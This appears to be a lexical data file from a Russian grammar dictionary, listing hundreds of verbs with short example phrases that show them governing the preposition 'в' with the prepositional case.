rus_verbs:отдохнуть{}, // отдохнуть в пансионате
rus_verbs:кататься{}, // кататься в коляске
rus_verbs:поработать{}, // поработать в цеху
rus_verbs:подразумевать{}, // подразумевать в задании
rus_verbs:ограбить{}, // ограбить в подворотне
rus_verbs:преуспеть{}, // преуспеть в бизнесе
rus_verbs:заерзать{}, // заерзать в кресле
rus_verbs:разъяснить{}, // разъяснить в другой статье
rus_verbs:продвинуться{}, // продвинуться в изучении
rus_verbs:поколебаться{}, // поколебаться в начале
rus_verbs:засомневаться{}, // засомневаться в честности
rus_verbs:приникнуть{}, // приникнуть в уме
rus_verbs:скривить{}, // скривить в усмешке
rus_verbs:рассечь{}, // рассечь в центре опухоли
rus_verbs:перепутать{}, // перепутать в роддоме
rus_verbs:посмеяться{}, // посмеяться в перерыве
rus_verbs:отмечаться{}, // отмечаться в полицейском участке
rus_verbs:накопиться{}, // накопиться в отстойнике
rus_verbs:уносить{}, // уносить в руках
rus_verbs:навещать{}, // навещать в больнице
rus_verbs:остыть{}, // остыть в проточной воде
rus_verbs:запереться{}, // запереться в комнате
rus_verbs:обогнать{}, // обогнать в первом круге
rus_verbs:убеждаться{}, // убеждаться в неизбежности
rus_verbs:подбирать{}, // подбирать в магазине
rus_verbs:уничтожать{}, // уничтожать в полете
rus_verbs:путаться{}, // путаться в показаниях
rus_verbs:притаиться{}, // притаиться в темноте
rus_verbs:проплывать{}, // проплывать в лодке
rus_verbs:засесть{}, // засесть в окопе
rus_verbs:подцепить{}, // подцепить в баре
rus_verbs:насчитать{}, // насчитать в диктанте несколько ошибок
rus_verbs:оправдаться{}, // оправдаться в суде
rus_verbs:созреть{}, // созреть в естественных условиях
rus_verbs:раскрываться{}, // раскрываться в подходящих условиях
rus_verbs:ожидаться{}, // ожидаться в верхней части
rus_verbs:одеваться{}, // одеваться в дорогих бутиках
rus_verbs:упрекнуть{}, // упрекнуть в недостатке опыта
rus_verbs:грабить{}, // грабить в подворотне
rus_verbs:ужинать{}, // ужинать в ресторане
rus_verbs:гонять{}, // гонять в жилах
rus_verbs:уверить{}, // уверить в безопасности
rus_verbs:потеряться{}, // потеряться в лесу
rus_verbs:устанавливаться{}, // устанавливаться в комнате
rus_verbs:предоставлять{}, // предоставлять в суде
rus_verbs:протянуться{}, // протянуться в стене
rus_verbs:допрашивать{}, // допрашивать в бункере
rus_verbs:проработать{}, // проработать в кабинете
rus_verbs:сосредоточить{}, // сосредоточить в своих руках
rus_verbs:утвердить{}, // утвердить в должности
rus_verbs:сочинять{}, // сочинять в дороге
rus_verbs:померкнуть{}, // померкнуть в глазах
rus_verbs:показываться{}, // показываться в окошке
rus_verbs:похудеть{}, // похудеть в талии
rus_verbs:проделывать{}, // проделывать в стене
rus_verbs:прославиться{}, // прославиться в интернете
rus_verbs:сдохнуть{}, // сдохнуть в нищете
rus_verbs:раскинуться{}, // раскинуться в степи
rus_verbs:развить{}, // развить в себе способности
rus_verbs:уставать{}, // уставать в цеху
rus_verbs:укрепить{}, // укрепить в земле
rus_verbs:числиться{}, // числиться в списке
rus_verbs:образовывать{}, // образовывать в смеси
rus_verbs:екнуть{}, // екнуть в груди
rus_verbs:одобрять{}, // одобрять в своей речи
rus_verbs:запить{}, // запить в одиночестве
rus_verbs:забыться{}, // забыться в тяжелом сне
rus_verbs:чернеть{}, // чернеть в кислой среде
rus_verbs:размещаться{}, // размещаться в гараже
rus_verbs:соорудить{}, // соорудить в гараже
rus_verbs:развивать{}, // развивать в себе
rus_verbs:пастись{}, // пастись в пойме
rus_verbs:формироваться{}, // формироваться в верхних слоях атмосферы
rus_verbs:ослабнуть{}, // ослабнуть в сочленении
rus_verbs:таить{}, // таить в себе
инфинитив:пробегать{ вид:несоверш }, глагол:пробегать{ вид:несоверш }, // пробегать в спешке
rus_verbs:приостановиться{}, // приостановиться в конце
rus_verbs:топтаться{}, // топтаться в грязи
rus_verbs:громить{}, // громить в финале
rus_verbs:заменять{}, // заменять в основном составе
rus_verbs:подъезжать{}, // подъезжать в колясках
rus_verbs:вычислить{}, // вычислить в уме
rus_verbs:заказывать{}, // заказывать в магазине
rus_verbs:осуществить{}, // осуществить в реальных условиях
rus_verbs:обосноваться{}, // обосноваться в дупле
rus_verbs:пытать{}, // пытать в камере
rus_verbs:поменять{}, // поменять в магазине
rus_verbs:совершиться{}, // совершиться в суде
rus_verbs:пролетать{}, // пролетать в вертолете
rus_verbs:сбыться{}, // сбыться во сне
rus_verbs:разговориться{}, // разговориться в отделении
rus_verbs:преподнести{}, // преподнести в красивой упаковке
rus_verbs:напечатать{}, // напечатать в типографии
rus_verbs:прорвать{}, // прорвать в центре
rus_verbs:раскачиваться{}, // раскачиваться в кресле
rus_verbs:задерживаться{}, // задерживаться в дверях
rus_verbs:угощать{}, // угощать в кафе
rus_verbs:проступать{}, // проступать в глубине
rus_verbs:шарить{}, // шарить в математике
rus_verbs:увеличивать{}, // увеличивать в конце
rus_verbs:расцвести{}, // расцвести в оранжерее
rus_verbs:закипеть{}, // закипеть в баке
rus_verbs:подлететь{}, // подлететь в вертолете
rus_verbs:рыться{}, // рыться в куче
rus_verbs:пожить{}, // пожить в гостинице
rus_verbs:добираться{}, // добираться в попутном транспорте
rus_verbs:перекрыть{}, // перекрыть в коридоре
rus_verbs:продержаться{}, // продержаться в барокамере
rus_verbs:разыскивать{}, // разыскивать в толпе
rus_verbs:освобождать{}, // освобождать в зале суда
rus_verbs:подметить{}, // подметить в человеке
rus_verbs:передвигаться{}, // передвигаться в узкой юбке
rus_verbs:продумать{}, // продумать в уме
rus_verbs:извиваться{}, // извиваться в траве
rus_verbs:процитировать{}, // процитировать в статье
rus_verbs:прогуливаться{}, // прогуливаться в парке
rus_verbs:защемить{}, // защемить в двери
rus_verbs:увеличиться{}, // увеличиться в объеме
rus_verbs:проявиться{}, // проявиться в результатах
rus_verbs:заскользить{}, // заскользить в ботинках
rus_verbs:пересказать{}, // пересказать в своем выступлении
rus_verbs:протестовать{}, // протестовать в здании парламента
rus_verbs:указываться{}, // указываться в путеводителе
rus_verbs:копошиться{}, // копошиться в песке
rus_verbs:проигнорировать{}, // проигнорировать в своей работе
rus_verbs:купаться{}, // купаться в речке
rus_verbs:подсчитать{}, // подсчитать в уме
rus_verbs:разволноваться{}, // разволноваться в классе
rus_verbs:придумывать{}, // придумывать в своем воображении
rus_verbs:предусмотреть{}, // предусмотреть в программе
rus_verbs:завертеться{}, // завертеться в колесе
rus_verbs:зачерпнуть{}, // зачерпнуть в ручье
rus_verbs:очистить{}, // очистить в химической лаборатории
rus_verbs:прозвенеть{}, // прозвенеть в коридорах
rus_verbs:уменьшиться{}, // уменьшиться в размере
rus_verbs:колыхаться{}, // колыхаться в проточной воде
rus_verbs:ознакомиться{}, // ознакомиться в автобусе
rus_verbs:ржать{}, // ржать в аудитории
rus_verbs:раскинуть{}, // раскинуть в микрорайоне
rus_verbs:разлиться{}, // разлиться в воде
rus_verbs:сквозить{}, // сквозить в словах
rus_verbs:задушить{}, // задушить в объятиях
rus_verbs:осудить{}, // осудить в особом порядке
rus_verbs:разгромить{}, // разгромить в честном поединке
rus_verbs:подслушать{}, // подслушать в кулуарах
rus_verbs:проповедовать{}, // проповедовать в сельских районах
rus_verbs:озарить{}, // озарить во сне
rus_verbs:потирать{}, // потирать в предвкушении
rus_verbs:описываться{}, // описываться в статье
rus_verbs:качаться{}, // качаться в кроватке
rus_verbs:усилить{}, // усилить в центре
rus_verbs:прохаживаться{}, // прохаживаться в новом костюме
rus_verbs:полечить{}, // полечить в больничке
rus_verbs:сниматься{}, // сниматься в римейке
rus_verbs:сыскать{}, // сыскать в наших краях
rus_verbs:поприветствовать{}, // поприветствовать в коридоре
rus_verbs:подтвердиться{}, // подтвердиться в эксперименте
rus_verbs:плескаться{}, // плескаться в теплой водичке
rus_verbs:расширяться{}, // расширяться в первом сегменте
rus_verbs:мерещиться{}, // мерещиться в тумане
rus_verbs:сгущаться{}, // сгущаться в воздухе
rus_verbs:храпеть{}, // храпеть во сне
rus_verbs:подержать{}, // подержать в руках
rus_verbs:накинуться{}, // накинуться в подворотне
rus_verbs:планироваться{}, // планироваться в закрытом режиме
rus_verbs:пробудить{}, // пробудить в себе
rus_verbs:побриться{}, // побриться в ванной
rus_verbs:сгинуть{}, // сгинуть в пучине
rus_verbs:окрестить{}, // окрестить в церкви
инфинитив:резюмировать{ вид:соверш }, глагол:резюмировать{ вид:соверш }, // резюмировать в конце выступления
rus_verbs:замкнуться{}, // замкнуться в себе
rus_verbs:прибавлять{}, // прибавлять в весе
rus_verbs:проплыть{}, // проплыть в лодке
rus_verbs:растворяться{}, // растворяться в тумане
rus_verbs:упрекать{}, // упрекать в небрежности
rus_verbs:затеряться{}, // затеряться в лабиринте
rus_verbs:перечитывать{}, // перечитывать в поезде
rus_verbs:перелететь{}, // перелететь в вертолете
rus_verbs:оживать{}, // оживать в теплой воде
rus_verbs:заглохнуть{}, // заглохнуть в полете
rus_verbs:кольнуть{}, // кольнуть в боку
rus_verbs:копаться{}, // копаться в куче
rus_verbs:развлекаться{}, // развлекаться в клубе
rus_verbs:отливать{}, // отливать в кустах
rus_verbs:зажить{}, // зажить в деревне
rus_verbs:одолжить{}, // одолжить в соседнем кабинете
rus_verbs:заклинать{}, // заклинать в своей речи
rus_verbs:различаться{}, // различаться в мелочах
rus_verbs:печататься{}, // печататься в типографии
rus_verbs:угадываться{}, // угадываться в контурах
rus_verbs:обрывать{}, // обрывать в начале
rus_verbs:поглаживать{}, // поглаживать в кармане
rus_verbs:подписывать{}, // подписывать в присутствии понятых
rus_verbs:добывать{}, // добывать в разломе
rus_verbs:скопиться{}, // скопиться в воротах
rus_verbs:повстречать{}, // повстречать в бане
rus_verbs:совпасть{}, // совпасть в упрощенном виде
rus_verbs:разрываться{}, // разрываться в точке спайки
rus_verbs:улавливать{}, // улавливать в датчике
rus_verbs:повстречаться{}, // повстречаться в лифте
rus_verbs:отразить{}, // отразить в отчете
rus_verbs:пояснять{}, // пояснять в примечаниях
rus_verbs:накормить{}, // накормить в столовке
rus_verbs:поужинать{}, // поужинать в ресторане
инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть в суде
инфинитив:спеть{ вид:несоверш }, глагол:спеть{ вид:несоверш },
rus_verbs:топить{}, // топить в молоке
rus_verbs:освоить{}, // освоить в работе
rus_verbs:зародиться{}, // зародиться в голове
rus_verbs:отплыть{}, // отплыть в старой лодке
rus_verbs:отстаивать{}, // отстаивать в суде
rus_verbs:осуждать{}, // осуждать в своем выступлении
rus_verbs:переговорить{}, // переговорить в перерыве
rus_verbs:разгораться{}, // разгораться в сердце
rus_verbs:укрыть{}, // укрыть в шалаше
rus_verbs:томиться{}, // томиться в застенках
rus_verbs:клубиться{}, // клубиться в воздухе
rus_verbs:сжигать{}, // сжигать в топке
rus_verbs:позавтракать{}, // позавтракать в кафешке
rus_verbs:функционировать{}, // функционировать в лабораторных условиях
rus_verbs:смять{}, // смять в руке
rus_verbs:разместить{}, // разместить в интернете
rus_verbs:пронести{}, // пронести в потайном кармане
rus_verbs:руководствоваться{}, // руководствоваться в работе
rus_verbs:нашарить{}, // нашарить в потемках
rus_verbs:закрутить{}, // закрутить в вихре
rus_verbs:просматриваться{}, // просматриваться в дальней перспективе
rus_verbs:распознать{}, // распознать в незнакомце
rus_verbs:повеситься{}, // повеситься в камере
rus_verbs:обшарить{}, // обшарить в поисках наркотиков
rus_verbs:наполняться{}, // наполняется в карьере
rus_verbs:засвистеть{}, // засвистеть в воздухе
rus_verbs:процветать{}, // процветать в мягком климате
rus_verbs:шуршать{}, // шуршать в простенке
rus_verbs:подхватывать{}, // подхватывать в полете
инфинитив:роиться{}, глагол:роиться{}, // роиться в воздухе
прилагательное:роившийся{}, прилагательное:роящийся{},
// деепричастие:роясь{ aux stress="ро^ясь" },
rus_verbs:преобладать{}, // преобладать в тексте
rus_verbs:посветлеть{}, // посветлеть в лице
rus_verbs:игнорировать{}, // игнорировать в рекомендациях
rus_verbs:обсуждаться{}, // обсуждаться в кулуарах
rus_verbs:отказывать{}, // отказывать в визе
rus_verbs:ощупывать{}, // ощупывать в кармане
rus_verbs:разливаться{}, // разливаться в цеху
rus_verbs:расписаться{}, // расписаться в получении
rus_verbs:учинить{}, // учинить в казарме
rus_verbs:плестись{}, // плестись в хвосте
rus_verbs:объявляться{}, // объявляться в группе
rus_verbs:повышаться{}, // повышаться в первой части
rus_verbs:напрягать{}, // напрягать в паху
rus_verbs:разрабатывать{}, // разрабатывать в студии
rus_verbs:хлопотать{}, // хлопотать в мэрии
rus_verbs:прерывать{}, // прерывать в самом начале
rus_verbs:каяться{}, // каяться в грехах
rus_verbs:освоиться{}, // освоиться в кабине
rus_verbs:подплыть{}, // подплыть в лодке
rus_verbs:замигать{}, // замигать в темноте
rus_verbs:оскорблять{}, // оскорблять в выступлении
rus_verbs:торжествовать{}, // торжествовать в душе
rus_verbs:поправлять{}, // поправлять в прологе
rus_verbs:угадывать{}, // угадывать в размытом изображении
rus_verbs:потоптаться{}, // потоптаться в прихожей
rus_verbs:переправиться{}, // переправиться в лодочке
rus_verbs:увериться{}, // увериться в невиновности
rus_verbs:забрезжить{}, // забрезжить в конце тоннеля
rus_verbs:утвердиться{}, // утвердиться во мнении
rus_verbs:завывать{}, // завывать в трубе
rus_verbs:заварить{}, // заварить в заварнике
rus_verbs:скомкать{}, // скомкать в руке
rus_verbs:перемещаться{}, // перемещаться в капсуле
инфинитив:писаться{ aux stress="пис^аться" }, глагол:писаться{ aux stress="пис^аться" }, // писаться в первом поле
rus_verbs:праздновать{}, // праздновать в баре
rus_verbs:мигать{}, // мигать в темноте
rus_verbs:обучить{}, // обучить в мастерской
rus_verbs:орудовать{}, // орудовать в кладовке
rus_verbs:упорствовать{}, // упорствовать в заблуждении
rus_verbs:переминаться{}, // переминаться в прихожей
rus_verbs:подрасти{}, // подрасти в теплице
rus_verbs:предписываться{}, // предписываться в законе
rus_verbs:приписать{}, // приписать в конце
rus_verbs:задаваться{}, // задаваться в своей статье
rus_verbs:чинить{}, // чинить в домашних условиях
rus_verbs:раздеваться{}, // раздеваться в пляжной кабинке
rus_verbs:пообедать{}, // пообедать в ресторанчике
rus_verbs:жрать{}, // жрать в чуланчике
rus_verbs:исполняться{}, // исполняться в антракте
rus_verbs:гнить{}, // гнить в тюрьме
rus_verbs:глодать{}, // глодать в конуре
rus_verbs:прослушать{}, // прослушать в дороге
rus_verbs:истратить{}, // истратить в кабаке
rus_verbs:стареть{}, // стареть в одиночестве
rus_verbs:разжечь{}, // разжечь в сердце
rus_verbs:совещаться{}, // совещаться в кабинете
rus_verbs:покачивать{}, // покачивать в кроватке
rus_verbs:отсидеть{}, // отсидеть в одиночке
rus_verbs:формировать{}, // формировать в умах
rus_verbs:захрапеть{}, // захрапеть во сне
rus_verbs:петься{}, // петься в хоре
rus_verbs:объехать{}, // объехать в автобусе
rus_verbs:поселить{}, // поселить в гостинице
rus_verbs:предаться{}, // предаться в книге
rus_verbs:заворочаться{}, // заворочаться во сне
rus_verbs:напрятать{}, // напрятать в карманах
rus_verbs:очухаться{}, // очухаться в незнакомом месте
rus_verbs:ограничивать{}, // ограничивать в движениях
rus_verbs:завертеть{}, // завертеть в руках
rus_verbs:печатать{}, // печатать в редакторе
rus_verbs:теплиться{}, // теплиться в сердце
rus_verbs:увязнуть{}, // увязнуть в зыбучем песке
rus_verbs:усмотреть{}, // усмотреть в обращении
rus_verbs:отыскаться{}, // отыскаться в запасах
rus_verbs:потушить{}, // потушить в горле огонь
rus_verbs:поубавиться{}, // поубавиться в размере
rus_verbs:зафиксировать{}, // зафиксировать в постоянной памяти
rus_verbs:смыть{}, // смыть в ванной
rus_verbs:заместить{}, // заместить в кресле
rus_verbs:угасать{}, // угасать в одиночестве
rus_verbs:сразить{}, // сразить в споре
rus_verbs:фигурировать{}, // фигурировать в бюллетене
rus_verbs:расплываться{}, // расплываться в глазах
rus_verbs:сосчитать{}, // сосчитать в уме
rus_verbs:сгуститься{}, // сгуститься в воздухе
rus_verbs:цитировать{}, // цитировать в своей статье
rus_verbs:помяться{}, // помяться в давке
rus_verbs:затрагивать{}, // затрагивать в процессе выполнения
rus_verbs:обтереть{}, // обтереть в гараже
rus_verbs:подстрелить{}, // подстрелить в пойме реки
rus_verbs:растереть{}, // растереть в руке
rus_verbs:подавлять{}, // подавлять в зародыше
rus_verbs:смешиваться{}, // смешиваться в чане
инфинитив:вычитать{ вид:соверш }, глагол:вычитать{ вид:соверш }, // вычитать в книжечке
rus_verbs:сократиться{}, // сократиться в обхвате
rus_verbs:занервничать{}, // занервничать в кабинете
rus_verbs:соприкоснуться{}, // соприкоснуться в полете
rus_verbs:обозначить{}, // обозначить в объявлении
rus_verbs:обучаться{}, // обучаться в училище
rus_verbs:снизиться{}, // снизиться в нижних слоях атмосферы
rus_verbs:лелеять{}, // лелеять в сердце
rus_verbs:поддерживаться{}, // поддерживаться в суде
rus_verbs:уплыть{}, // уплыть в лодочке
rus_verbs:резвиться{}, // резвиться в саду
rus_verbs:поерзать{}, // поерзать в гамаке
rus_verbs:оплатить{}, // оплатить в ресторане
rus_verbs:похвастаться{}, // похвастаться в компании
rus_verbs:знакомиться{}, // знакомиться в классе
rus_verbs:приплыть{}, // приплыть в подводной лодке
rus_verbs:зажигать{}, // зажигать в классе
rus_verbs:смыслить{}, // смыслить в математике
rus_verbs:закопать{}, // закопать в огороде
rus_verbs:порхать{}, // порхать в зарослях
rus_verbs:потонуть{}, // потонуть в бумажках
rus_verbs:стирать{}, // стирать в холодной воде
rus_verbs:подстерегать{}, // подстерегать в придорожных кустах
rus_verbs:погулять{}, // погулять в парке
rus_verbs:предвкушать{}, // предвкушать в воображении
rus_verbs:ошеломить{}, // ошеломить в бою
rus_verbs:удостовериться{}, // удостовериться в безопасности
rus_verbs:огласить{}, // огласить в заключительной части
rus_verbs:разбогатеть{}, // разбогатеть в деревне
rus_verbs:грохотать{}, // грохотать в мастерской
rus_verbs:реализоваться{}, // реализоваться в должности
rus_verbs:красть{}, // красть в магазине
rus_verbs:нарваться{}, // нарваться в коридоре
rus_verbs:застывать{}, // застывать в неудобной позе
rus_verbs:толкаться{}, // толкаться в тесной комнате
rus_verbs:извлекать{}, // извлекать в аппарате
rus_verbs:обжигать{}, // обжигать в печи
rus_verbs:запечатлеть{}, // запечатлеть в кинохронике
rus_verbs:тренироваться{}, // тренироваться в зале
rus_verbs:поспорить{}, // поспорить в кабинете
rus_verbs:рыскать{}, // рыскать в лесу
rus_verbs:надрываться{}, // надрываться в шахте
rus_verbs:сняться{}, // сняться в фильме
rus_verbs:закружить{}, // закружить в танце
rus_verbs:затонуть{}, // затонуть в порту
rus_verbs:побыть{}, // побыть в гостях
rus_verbs:почистить{}, // почистить в носу
rus_verbs:сгорбиться{}, // сгорбиться в тесной конуре
rus_verbs:подслушивать{}, // подслушивать в классе
rus_verbs:сгорать{}, // сгорать в танке
rus_verbs:разочароваться{}, // разочароваться в артисте
инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать в кустиках
rus_verbs:мять{}, // мять в руках
rus_verbs:подраться{}, // подраться в классе
rus_verbs:замести{}, // замести в прихожей
rus_verbs:откладываться{}, // откладываться в печени
rus_verbs:обозначаться{}, // обозначаться в перечне
rus_verbs:просиживать{}, // просиживать в интернете
rus_verbs:соприкасаться{}, // соприкасаться в точке
rus_verbs:начертить{}, // начертить в тетрадке
rus_verbs:уменьшать{}, // уменьшать в поперечнике
rus_verbs:тормозить{}, // тормозить в облаке
rus_verbs:затевать{}, // затевать в лаборатории
rus_verbs:затопить{}, // затопить в бухте
rus_verbs:задерживать{}, // задерживать в лифте
rus_verbs:прогуляться{}, // прогуляться в лесу
rus_verbs:прорубить{}, // прорубить во льду
rus_verbs:очищать{}, // очищать в кислоте
rus_verbs:полулежать{}, // полулежать в гамаке
rus_verbs:исправить{}, // исправить в задании
rus_verbs:предусматриваться{}, // предусматриваться в постановке задачи
rus_verbs:замучить{}, // замучить в плену
rus_verbs:разрушаться{}, // разрушаться в верхней части
rus_verbs:ерзать{}, // ерзать в кресле
rus_verbs:покопаться{}, // покопаться в залежах
rus_verbs:раскаяться{}, // раскаяться в содеянном
rus_verbs:пробежаться{}, // пробежаться в парке
rus_verbs:полежать{}, // полежать в гамаке
rus_verbs:позаимствовать{}, // позаимствовать в книге
rus_verbs:снижать{}, // снижать в несколько раз
rus_verbs:черпать{}, // черпать в поэзии
rus_verbs:заверять{}, // заверять в своей искренности
rus_verbs:проглядеть{}, // проглядеть в сумерках
rus_verbs:припарковать{}, // припарковать во дворе
rus_verbs:сверлить{}, // сверлить в стене
rus_verbs:здороваться{}, // здороваться в аудитории
rus_verbs:рожать{}, // рожать в воде
rus_verbs:нацарапать{}, // нацарапать в тетрадке
rus_verbs:затопать{}, // затопать в коридоре
rus_verbs:прописать{}, // прописать в правилах
rus_verbs:сориентироваться{}, // сориентироваться в обстоятельствах
rus_verbs:снизить{}, // снизить в несколько раз
rus_verbs:заблуждаться{}, // заблуждаться в своей теории
rus_verbs:откопать{}, // откопать в отвалах
rus_verbs:смастерить{}, // смастерить в лаборатории
rus_verbs:замедлиться{}, // замедлиться в парафине
rus_verbs:избивать{}, // избивать в участке
rus_verbs:мыться{}, // мыться в бане
rus_verbs:сварить{}, // сварить в кастрюльке
rus_verbs:раскопать{}, // раскопать в снегу
rus_verbs:крепиться{}, // крепиться в держателе
rus_verbs:дробить{}, // дробить в мельнице
rus_verbs:попить{}, // попить в ресторанчике
rus_verbs:затронуть{}, // затронуть в душе
rus_verbs:лязгнуть{}, // лязгнуть в тишине
rus_verbs:заправлять{}, // заправлять в полете
rus_verbs:размножаться{}, // размножаться в неволе
rus_verbs:потопить{}, // потопить в Тихом Океане
rus_verbs:кушать{}, // кушать в столовой
rus_verbs:замолкать{}, // замолкать в замешательстве
rus_verbs:измеряться{}, // измеряться в дюймах
rus_verbs:сбываться{}, // сбываться в мечтах
rus_verbs:задернуть{}, // задернуть в комнате
rus_verbs:затихать{}, // затихать в темноте
rus_verbs:прослеживаться{}, // прослеживается в журнале
rus_verbs:прерываться{}, // прерывается в начале
rus_verbs:изображаться{}, // изображается в любых фильмах
rus_verbs:фиксировать{}, // фиксировать в данной точке
rus_verbs:ослаблять{}, // ослаблять в поясе
rus_verbs:зреть{}, // зреть в теплице
rus_verbs:зеленеть{}, // зеленеть в огороде
rus_verbs:критиковать{}, // критиковать в статье
rus_verbs:облететь{}, // облететь в частном вертолете
rus_verbs:разбросать{}, // разбросать в комнате
rus_verbs:заразиться{}, // заразиться в людном месте
rus_verbs:рассеять{}, // рассеять в бою
rus_verbs:печься{}, // печься в духовке
rus_verbs:поспать{}, // поспать в палатке
rus_verbs:заступиться{}, // заступиться в драке
rus_verbs:сплетаться{}, // сплетаться в середине
rus_verbs:поместиться{}, // поместиться в мешке
rus_verbs:спереть{}, // спереть в лавке
// инфинитив:ликвидировать{ вид:несоверш }, глагол:ликвидировать{ вид:несоверш }, // ликвидировать в пригороде
// инфинитив:ликвидировать{ вид:соверш }, глагол:ликвидировать{ вид:соверш },
rus_verbs:проваляться{}, // проваляться в постели
rus_verbs:лечиться{}, // лечиться в стационаре
rus_verbs:определиться{}, // определиться в честном бою
rus_verbs:обработать{}, // обработать в растворе
rus_verbs:пробивать{}, // пробивать в стене
rus_verbs:перемешаться{}, // перемешаться в чане
rus_verbs:чесать{}, // чесать в паху
rus_verbs:пролечь{}, // пролечь в пустынной местности
rus_verbs:скитаться{}, // скитаться в дальних странах
rus_verbs:затрудняться{}, // затрудняться в выборе
rus_verbs:отряхнуться{}, // отряхнуться в коридоре
rus_verbs:разыгрываться{}, // разыгрываться в лотерее
rus_verbs:помолиться{}, // помолиться в церкви
rus_verbs:предписывать{}, // предписывать в рецепте
rus_verbs:порваться{}, // порваться в слабом месте
rus_verbs:греться{}, // греться в здании
rus_verbs:опровергать{}, // опровергать в своем выступлении
rus_verbs:помянуть{}, // помянуть в своем выступлении
rus_verbs:допросить{}, // допросить в прокуратуре
rus_verbs:материализоваться{}, // материализоваться в соседнем здании
rus_verbs:рассеиваться{}, // рассеиваться в воздухе
rus_verbs:перевозить{}, // перевозить в вагоне
rus_verbs:отбывать{}, // отбывать в тюрьме
rus_verbs:попахивать{}, // попахивать в отхожем месте
rus_verbs:перечислять{}, // перечислять в заключении
rus_verbs:зарождаться{}, // зарождаться в дебрях
rus_verbs:предъявлять{}, // предъявлять в своем письме
rus_verbs:распространять{}, // распространять в сети
rus_verbs:пировать{}, // пировать в соседнем селе
rus_verbs:начертать{}, // начертать в летописи
rus_verbs:расцветать{}, // расцветать в подходящих условиях
rus_verbs:царствовать{}, // царствовать в южной части материка
rus_verbs:накопить{}, // накопить в буфере
rus_verbs:закрутиться{}, // закрутиться в рутине
rus_verbs:отработать{}, // отработать в забое
rus_verbs:обокрасть{}, // обокрасть в автобусе
rus_verbs:прокладывать{}, // прокладывать в снегу
rus_verbs:ковырять{}, // ковырять в носу
rus_verbs:копить{}, // копить в очереди
rus_verbs:полечь{}, // полечь в степях
rus_verbs:щебетать{}, // щебетать в кустиках
rus_verbs:подчеркиваться{}, // подчеркиваться в сообщении
rus_verbs:посеять{}, // посеять в огороде
rus_verbs:разъезжать{}, // разъезжать в кабриолете
rus_verbs:замечаться{}, // замечаться в лесу
rus_verbs:просчитать{}, // просчитать в уме
rus_verbs:маяться{}, // маяться в командировке
rus_verbs:выхватывать{}, // выхватывать в тексте
rus_verbs:креститься{}, // креститься в деревенской часовне
rus_verbs:обрабатывать{}, // обрабатывать в растворе кислоты
rus_verbs:настигать{}, // настигать в огороде
rus_verbs:разгуливать{}, // разгуливать в роще
rus_verbs:насиловать{}, // насиловать в квартире
rus_verbs:побороть{}, // побороть в себе
rus_verbs:учитывать{}, // учитывать в расчетах
rus_verbs:искажать{}, // искажать в заметке
rus_verbs:пропить{}, // пропить в кабаке
rus_verbs:катать{}, // катать в лодочке
rus_verbs:припрятать{}, // припрятать в кармашке
rus_verbs:запаниковать{}, // запаниковать в бою
rus_verbs:рассыпать{}, // рассыпать в траве
rus_verbs:застревать{}, // застревать в ограде
rus_verbs:зажигаться{}, // зажигаться в сумерках
rus_verbs:жарить{}, // жарить в масле
rus_verbs:накапливаться{}, // накапливаться в костях
rus_verbs:распуститься{}, // распуститься в горшке
rus_verbs:проголосовать{}, // проголосовать в передвижном пункте
rus_verbs:странствовать{}, // странствовать в автомобиле
rus_verbs:осматриваться{}, // осматриваться в хоромах
rus_verbs:разворачивать{}, // разворачивать в спортзале
rus_verbs:заскучать{}, // заскучать в самолете
rus_verbs:напутать{}, // напутать в расчете
rus_verbs:перекусить{}, // перекусить в столовой
rus_verbs:спасаться{}, // спасаться в автономной капсуле
rus_verbs:посовещаться{}, // посовещаться в комнате
rus_verbs:доказываться{}, // доказываться в статье
rus_verbs:познаваться{}, // познаваться в беде
rus_verbs:загрустить{}, // загрустить в одиночестве
rus_verbs:оживить{}, // оживить в памяти
rus_verbs:переворачиваться{}, // переворачиваться в гробу
rus_verbs:заприметить{}, // заприметить в лесу
rus_verbs:отравиться{}, // отравиться в забегаловке
rus_verbs:продержать{}, // продержать в клетке
rus_verbs:выявить{}, // выявить в костях
rus_verbs:заседать{}, // заседать в совете
rus_verbs:расплачиваться{}, // расплачиваться в первой кассе
rus_verbs:проломить{}, // проломить в двери
rus_verbs:подражать{}, // подражать в мелочах
rus_verbs:подсчитывать{}, // подсчитывать в уме
rus_verbs:опережать{}, // опережать во всем
rus_verbs:сформироваться{}, // сформироваться в облаке
rus_verbs:укрепиться{}, // укрепиться в мнении
rus_verbs:отстоять{}, // отстоять в очереди
rus_verbs:развертываться{}, // развертываться в месте испытания
rus_verbs:замерзать{}, // замерзать во льду
rus_verbs:утопать{}, // утопать в снегу
rus_verbs:раскаиваться{}, // раскаиваться в содеянном
rus_verbs:организовывать{}, // организовывать в пионерлагере
rus_verbs:перевестись{}, // перевестись в наших краях
rus_verbs:смешивать{}, // смешивать в блендере
rus_verbs:ютиться{}, // ютиться в тесной каморке
rus_verbs:прождать{}, // прождать в аудитории
rus_verbs:подыскивать{}, // подыскивать в женском общежитии
rus_verbs:замочить{}, // замочить в сортире
rus_verbs:мерзнуть{}, // мерзнуть в тонкой курточке
rus_verbs:растирать{}, // растирать в ступке
rus_verbs:замедлять{}, // замедлять в парафине
rus_verbs:переспать{}, // переспать в палатке
rus_verbs:рассекать{}, // рассекать в кабриолете
rus_verbs:отыскивать{}, // отыскивать в залежах
rus_verbs:опровергнуть{}, // опровергнуть в своем выступлении
rus_verbs:дрыхнуть{}, // дрыхнуть в гамаке
rus_verbs:укрываться{}, // укрываться в землянке
rus_verbs:запечься{}, // запечься в золе
rus_verbs:догорать{}, // догорать в темноте
rus_verbs:застилать{}, // застилать в коридоре
rus_verbs:сыскаться{}, // сыскаться в деревне
rus_verbs:переделать{}, // переделать в мастерской
rus_verbs:разъяснять{}, // разъяснять в своей лекции
rus_verbs:селиться{}, // селиться в центре
rus_verbs:оплачивать{}, // оплачивать в магазине
rus_verbs:переворачивать{}, // переворачивать в закрытой банке
rus_verbs:упражняться{}, // упражняться в остроумии
rus_verbs:пометить{}, // пометить в списке
rus_verbs:припомниться{}, // припомниться в завещании
rus_verbs:приютить{}, // приютить в амбаре
rus_verbs:натерпеться{}, // натерпеться в темнице
rus_verbs:затеваться{}, // затеваться в клубе
rus_verbs:уплывать{}, // уплывать в лодке
rus_verbs:скиснуть{}, // скиснуть в бидоне
rus_verbs:заколоть{}, // заколоть в боку
rus_verbs:замерцать{}, // замерцать в темноте
rus_verbs:фиксироваться{}, // фиксироваться в протоколе
